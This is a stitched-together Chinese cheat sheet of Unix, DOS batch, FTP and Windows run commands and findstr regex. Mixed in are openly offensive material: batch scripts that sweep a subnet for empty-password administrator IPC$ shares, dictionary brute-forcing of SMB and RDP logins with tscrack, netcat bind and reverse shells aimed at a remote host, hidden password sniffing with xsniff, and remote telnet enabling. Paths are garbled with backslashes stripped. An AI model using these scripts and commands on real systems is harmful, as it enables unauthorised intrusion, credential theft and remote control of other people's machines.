rm 文件名 删除文件,rm -a 目录名删除目录及子目录 

mkdir 目录名 建立目录 

rmdir 删除子目录,目录内没有文档。 

chmod 设定档案或目录的存取权限 

grep 在档案中查找字符串 

diff 档案文件比较 

find 档案搜寻 

date 现在的日期、时间 

who 查询目前和你使用同一台机器的人以及Login时间地点 

w 查询目前上机者的详细资料 

whoami 查看自己的帐号名称 

groups 查看某人的Group 

passwd 更改密码 

history 查看自己下过的命令 

ps 显示进程状态 

kill 停止某进程 

gcc 黑客通常用它来编译C语言写的文件 

su 权限转换为指定使用者 

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 

ftp ftp连接上某服务器(同win2K) 


2:if命令及变量 基本格式: 

IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。

0 指发现并成功执行(真);1 指没有发现、没执行(假)。 

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") 

IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.” 


附:批处理命令与变量


1:for命令及变量 基本格式: 

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3


(set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }


command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

command_parameters:为特定命令指定参数或命令行开关


IN (set):指在(set)中取值;DO command :指执行command


参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。 

用法举例: 

@echo off 

echo 用法格式:test.bat *.*.* > test.txt 


for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:***istrator | find "命令成功完成" >>test.txt 

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。


/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 

@echo off 

echo 用法格式:ok.bat ip 

FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 

存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。


1、瑞士军刀:nc.exe


参数说明: 

-h 查看帮助信息 

-d 后台模式 

-e prog程序重定向,一但连接就执行[危险] 

-i secs延时的间隔 

-l 监听模式,用于入站连接 

-L 监听模式,连接天闭后仍然继续监听,直到CTR+C 

-n IP地址,不能用域名 

-o film记录16进制的传输 

-p[空格]端口 本地端口号 

-r 随机本地及远程端口 

-t 使用Telnet交互方式 

-u UDP模式 

-v 详细输出,用-vv将更详细 

-w数字 timeout延时间隔 

-z 将输入,输出关掉(用于扫锚时) 

基本用法: 

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 

nc -l -p 80 开启本机的TCP 80端口并监听 

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 

高级用法: 

nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 

nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt 

nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 

type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 

本机上用:nc -l -p 本机端口 

在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K

nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 

本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称 

在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 

备 注: 

| 管道命令 

< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 

@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中 

>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。


扫锚工具:xscan.exe


基本格式 

xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 

xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 

检测项目 

-active 检测主机是否存活 

-os 检测远程操作系统类型(通过NETBIOS和SNMP协议) 

-port 检测常用服务的端口状态 

-ftp 检测FTP弱口令 

-pub 检测FTP服务匿名用户写权限 

-pop3 检测POP3-Server弱口令 

-smtp 检测SMTP-Server漏洞 

-sql 检测SQL-Server弱口令 

-smb 检测NT-Server弱口令 

-iis 检测IIS编码/解码漏洞 

-cgi 检测CGI漏洞 

-nasl 加载Nessus攻击脚本 

-all 检测以上所有项目 

其它选项 

-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取 

-l 显示所有网络适配器 

-v 显示详细扫描进度 

-p 跳过没有响应的主机 

-o 跳过没有检测到开放端口的主机 

  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 

-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件) 

用法示例 

xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机


可捕获局域网内FTP/SMTP/POP3/HTTP协议密码

参数说明 

-tcp 输出TCP数据报 

-udp 输出UDP数据报 

-icmp 输出ICMP数据报 

-pass 过滤密码信息 

-hide 后台运行 

-host 解析主机名 

-addr IP地址 过滤IP地址 

-port 端口 过滤端口 

-log 文件名 将输出保存到文件 

-asc 以ASCII形式输出 

-hex 以16进制形式输出 

用法示例 

xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 


参数说明 

-h 显示使用帮助 

-v 显示版本信息 

-s 在屏幕上打出解密能力 

-b 密码错误时发出的声音 

-t 同是发出多个连接(多线程) 

-N Prevent System Log entries on targeted server 

-U 卸载移除tscrack组件 

-f 使用-f后面的密码 

-F 间隔时间(频率) 

-l 使用-l后面的用户名 

-w 使用-w后面的密码字典 

-p 使用-p后面的密码 

-D 登录主页面 

用法示例 

tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 

tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 

@if not exist ipcscan.txt goto noscan 

@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 

nscan 

@echo 3389.txt no find or scan faild 

(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) 

3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat 

@if not exist tscrack.exe goto noscan 

@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt 

:noscan 

@echo tscrack.exe no find or scan faild 

(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) 

hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码,并将破解结果保存在rouji.txt文件中。 


Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。) 

fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙) 

fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息 

Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 

OpenTelnet.exe (远程开启telnet工具) 

opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。

NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。


ResumeTelnet.exe (OpenTelnet附带的另一个工具) 

resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。


FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。


FTP的命令行格式为: 

ftp -v -d -i -n -g [主机名] ,其中


-v 显示远程服务器的所有响应信息;


-n 限制ftp的自动登录,即不使用;.n etrc文件;


-d 使用调试方式;


-g 取消全局文件名。


FTP使用的内部命令如下(中括号表示可选项):


1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip 

2.$ macro-ame[args]: 执行宏定义macro-name。


3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。 

4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。


5.ascii:使用ascii类型传输方式。

6.bell:每个命令执行完毕后计算机响铃一次。


7.bin:使用二进制文件传输方式。

8.bye:退出ftp会话过程。


9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。 

10.cd remote-dir:进入远程主机目录。


11.cdup:进入远程主机目录的父目录。 

12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。


13.close:中断与远程服务器的ftp会话(与open对应)。 

14.cr:使用asscii方式传输文件时,将回车换行转换为回行。


15.delete remote-file:删除远程主机文件。 

16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。


17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。 

18.disconnection:同close。


19.form format:将文件传输方式设置为format,缺省为file方式。 

20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。


21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。 

22.hash:每传输1024字节,显示一个hash符号(#)。


23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。 

24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。


25.image:设置二进制传输方式(同binary)。 

26.lcd[dir]:将本地工作目录切换至dir。


27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 

28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。


29.mdelete[remote-file]:删除远程主机文件。 

30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。


31.mget remote-files:传输多个远程文件。 

32.mkdir dir-name:在远程主机中建一目录。


33.mls remote-file local-file:同nlist,但可指定多个文件名。 

34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。


35.modtime file-name:显示远程主机文件的最后修改时间。 

36.mput local-file:将多个文件传输至远程主机。


37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。


39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。

40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。


41.open host[port]:建立指定ftp服务器连接,可指定连接端口。 

42.passive:进入被动传输方式。


43.prompt:设置多个文件传输时的交互提示。 

44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。

45.put local-file[remote-file]:将本地文件local-file传送至远程主机。 

46.pwd:显示远程主机的当前工作目录。


47.quit:同bye,退出ftp会话。 

48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.


49.recv remote-file[local-file]:同get。 

50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。


51.rhelp[cmd-name]:请求获得远程主机的帮助。 

52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。


53.rename[from][to]:更改远程主机文件名。 

54.reset:清除回答队列。


55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。 

56.rmdir dir-name:删除远程主机目录。


57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。 

58.send local-file[remote-file]:同put。


59.sendport:设置PORT命令的使用。 

60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。


61.size file-name:显示远程主机文件大小,如:site idle 7200。 

62.status:显示当前ftp状态。


63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。 

64.sunique:将远程主机文件名存储设置为只一(与runique对应)。


65.system:显示远程主机的操作系统类型。 

66.tenex:将文件传输类型设置为TENEX机的所需的类型。


67.tick:设置传输时的字节计数器。 

68.trace:设置包跟踪。


69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 

70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3


71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。 

72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.


73.?[cmd]:同help.


winver---------检查Windows版本

wmimgmt.msc----打开windows管理体系结构

wupdmgr--------windows更新程序

winver---------检查Windows版本

wmimgmt.msc----打开windows管理体系结构

wupdmgr--------windows更新程序

wscript--------windows脚本宿主设置

write----------写字板winmsd-----系统信息

wiaacmgr-------扫描仪和照相机向导

winchat--------XP自带局域网聊天

mem.exe--------显示内存使用情况

Msconfig.exe---系统配置实用程序 

mplayer2-------简易widnows media player

mspaint--------画图板

mstsc----------远程桌面连接

mplayer2-------媒体播放机

magnify--------放大镜实用程序

mmc------------打开控制台

mobsync--------同步命令

dxdiag---------检查DirectX信息

drwtsn32------ 系统医生

devmgmt.msc--- 设备管理器

dfrg.msc-------磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-------打开系统组件服务

ddeshare-------打开DDE共享设置

dvdplay--------DVD播放器

net stop messenger-----停止信使服务

net start messenger----开始信使服务 

notepad--------打开记事本

nslookup-------网络管理的工具向导

ntbackup-------系统备份和还原

narrator-------屏幕"讲述人"

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat -an----(TC)命令检查接口

syncapp--------创建一个公文包

sysedit--------系统配置编辑器

sigverif-------文件签名验证程序

sndrec32-------录音机

shrpubw--------创建共享文件夹

secpol.msc-----本地安全策略

syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

services.msc---本地服务设置

Sndvol32-------音量控制程序

sfc.exe--------系统文件检查器

sfc /scannow---windows文件保护

tsshutdn-------60秒倒计时关机命令

tourstart------xp简介(安装完成后出现的漫游xp程序)

taskmgr--------任务管理器

eventvwr-------事件查看器

eudcedit-------造字程序 

explorer-------打开资源管理器

packager-------对象包装程序

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit.exe----注册表 

rsop.msc-------组策略结果集

regedt32-------注册表编辑器

rononce -p ----15秒关机

regsvr32 /u *.dll----停止dll文件运行

regsvr32 /u zipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符

chkdsk.exe-----Chkdsk磁盘检查

certmgr.msc----证书管理实用程序

calc-----------启动计算器

charmap--------启动字符映射表

cliconfg-------SQL SERVER 客户端网络实用程序

Clipbrd--------剪贴板查看器

conf-----------启动netmeeting

compmgmt.msc---计算机管理

cleanmgr-------**整理

ciadv.msc------索引服务程序

osk------------打开屏幕键盘

odbcad32-------ODBC数据源管理器

oobe/msoobe /a----检查XP是否激活

lusrmgr.msc----本机用户和组

logoff---------注销命令

iexpress-------木马捆绑工具,系统自带

Nslookup-------IP地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略 


后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢? 

  比如,在启动wps软件时,每次都必须执行 


  C:>cd wps 

  C:WPS>spdos 

  C:WPS>py 

  C:WPS>wbx 

  C:WPS>wps 


  如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢? 


  如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢? 


  当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。 


  此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。 



  echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符 

  echo off 表示在此语句后所有运行的命令都不显示命令行本身 

  @ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。 

  call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令) 

  pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续。

  rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的。


  例:用edit编辑a.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。


批处理文件的内容为:         文件表示: 


    echo off            不显示命令行 


    dir c:*.* >a.txt       将c盘文件列表写入a.txt 


    call c:ucdosucdos.bat    调用ucdos 


    echo 你好            显示"你好" 


    pause              暂停,等待按键继续 


    rem 使用wps           注释将使用wps 


    cd ucdos            进入ucdos目录 


    wps               使用wps   


  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。 


   %表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。 


  例如,C:根目录下一批处理文件名为f.bat,内容为 format %1 


  则如果执行C:>f a:    则实际执行的是format a: 


  又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2 


  那么运行C:>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 



  if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 


  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 

  1、if "参数" == "字符串"  待执行的命令 

  参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

  如if "%1"=="a" format a: 


  2、if exist 文件名  待执行的命令 

  如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys 


  3、if errorlevel 数字  待执行的命令 

  如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码


  goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:


  goto end 


  :end 

  echo this is the end


choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……


  如: choice /c:dme defrag,mem,end

  将显示

  defrag,mem,end[D,M,E]?


  例如,test.bat的内容如下: 

  @echo off 

  choice /c:dme defrag,mem,end 

  if errorlevel 3 goto defrag 应先判断数值最高的错误码

  if errorlevel 2 goto mem 

  if errotlevel 1 goto end 


  :defrag 

  c:dosdefrag 

  goto end 


  :mem 

  mem 

  goto end 


  :end 

  echo good bye


  此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。


  for 循环命令,只要条件符合,它将多次执行同一命令。 


  格式FOR [%%f] in (集合) DO [命令] 

  只要参数f在指定的集合内,则条件成立,执行命令 


  如果一条批处理文件中有一行: 

  for %%c in (*.bat *.txt) do type %%c 

  含义是如果是以bat或txt结尾的文件,则显示文件的内容。



  DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。 


  如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。 


  例如,一个典型的autoexec.bat内容如下: 


  @echo off                     不显示命令行 


  prompt $p$g                    设置提示符前有目录提示 


  path c:dos;c:;c:windows;c:ucdos;c: ools    设置路径 


  lh c:dosdoskey.com                加载键盘管理 


  lh c:mousemouse.com               加载鼠标管理 


  lh c:dossmartdrv.exe               加载磁盘加速管理 


  lh c:dosmscdex /S /D:MSCD000 /M:12 /V      加载CD-ROM驱动 


  set temp=c: emp                  设置临时目录


  标号用 :字符串 表示,标号所在行不被执行

 



使用条件处理符号可以从单个命令行或脚本运行多个命令。通过条件处理符号运行多个命令时,条件处理符号右边的命令根据条件处理符号左边的命令结果来发挥作用。例如,只有在前一个命令失败的情况下,才可能需要运行一个新命令。或者,只有在前一个命令成功时才可能需要运行一个新命令。

可以使用下表列出的特殊字符来传递多个命令。

字符        语法        定义

& [...]        command1 & command2        用来分隔一个命令行中的多个命令。Cmd.exe 运行第一个命令,然后运行第二个命令。

&& [...]        command1 && command2        只有在符号 && 前面的命令成功时,才用于运行该符号后面的命令。Cmd.exe 运行第一个命令,然后只有在第一个命令运行成功时才运行第二个命令。

|| [...]        command1 || command2        只有在符号 || 前面的命令失败时,才用于运行符号 || 后面的命令。Cmd.exe 运行第一个命令,然后只有在第一个命令未能运行成功(接收到大于零的错误代码)时才运行第二个命令。

( ) [...]        (command1 & command2)         用来分组或嵌套多个命令。

; 或者 ,        command1 parameter1;parameter2        用来分隔命令参数。

注意

·        “与”符号 (&)、管道符号 (|) 以及括号 () 是特殊字符,将它们作为参数传递时,必须在其前面加上转义字符 (^) 或引号。 

·        如果某个命令成功完成操作,则该命令就返回零 (0) 退出代码或不返回任何退出代码



> 创建一个文件 

>> 追加到一个文件后面 

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb 

echo 123456 ^> aaa 

echo 1231231 > bbb 

() 包含命令 

(echo aa & echo bb) 

, 和空格一样的缺省分隔符号. 

; 注释,表示后面为注释 

: 标号作用 

│ 管道操作 

; 符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行


首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* ? 文件通配符

"" 字符串界定符

| 命令管道符

< > >> 文件重定向符

@ 命令行回显屏蔽符

/ 参数开关引导符

: 批处理标签引导符

% 批处理变量引导符



其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.




也可以使用以下的用法:

if exist command

device 是指DOS系统中已加载的设备, 在win98下通常有:

AUX, PRN, CON, NUL

COM1, COM2, COM3, COM4

LPT1, LPT2, LPT3, LPT4

XMSXXXX0, EMMXXXX0

A: B: C: ...,

CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

1. 该设备确实存在(由软件虚拟的设备除外)

2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)

可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄.



  1、在使用 findstr "我 你 他" test.txt 的时候,并不能查找到内容,但是,加上开关 /i 或者 /r 之后就正确无误了,可能是在查找多个纯中文字符串的时候的一个bug吧;单个的纯中文字符串没有任何问题;


                                             —— namejm


9527整理



             FINDSTR正则表达式的基本用法


1.findstr . 2.txt 或 Findstr "." 2.txt  

从文件2.txt中查找任意字符,不包括空字符或空行

====================



2.findstr .* 2.txt 或 findstr ".*" 2.txt

从文件2.txt中查找任意字符包括空行和空字符

====================



3.findstr "[0-9]" 2.txt

从文件2.txt中查找包括数字0-9的字符串或行

====================



4.findstr "[a-zA-Z]" 2.txt

从文件2.txt中查找包括任意字符的字符串或行

====================



5.findstr "[abcezy]" 2.txt

从文件2.txt中查找包括a b c e z y字母的字符串或行

====================



6.findstr "[a-fl-z]" 2.txt

从文件2.txt中查找小写字符a-f l-z的字符串,但不包含g h I j k这几个字母。

====================



7.findstr "M[abc][hig]Y" 2.txt

从文件2.txt中可以匹配 MahY , MbiY, MahY等…..

====================



8. ^和$符号的应用

^ 表示行首,"^step"仅匹配 "step hello world"中的第一个单词

$ 表示行尾,"step$"仅匹配 "hello world step"中最后一个单词

====================



9.finstr "[^0-9]" 2.txt

如果是纯数字的字符串或者行便过滤掉,例如2323423423 这样的字符串,如果是345hh888这样的形式就不成了。

====================



10.findstr "[^a-z]" 2.txt

同上,如果是纯字母的字符串或者行便过滤掉,例如 sdlfjlkjlksjdklfjlskdf这样的字符,如果是sdfksjdkf99999这样的形式,掺杂着数字就不成了

====================



11.*号的作用

前面已经说过了 ".*"表示搜索的条件是任意字符,*号在正则表达式中的作用不是任何字符,而是表示左侧字符或者表达式的重复次数,*号表示重复的次数为零次或者多次。

====================



12.findstr "^[0-9]*$" 2.txt

这个是匹配找到的纯数字,例如 234234234234,如果是2133234kkjl234就被过滤掉了。

   Findstr "^[a-z]*$" 2.txt

这个是匹配找到的纯字母,例如 sdfsdfsdfsdf,如果是213sldjfkljsdlk就被过滤掉了

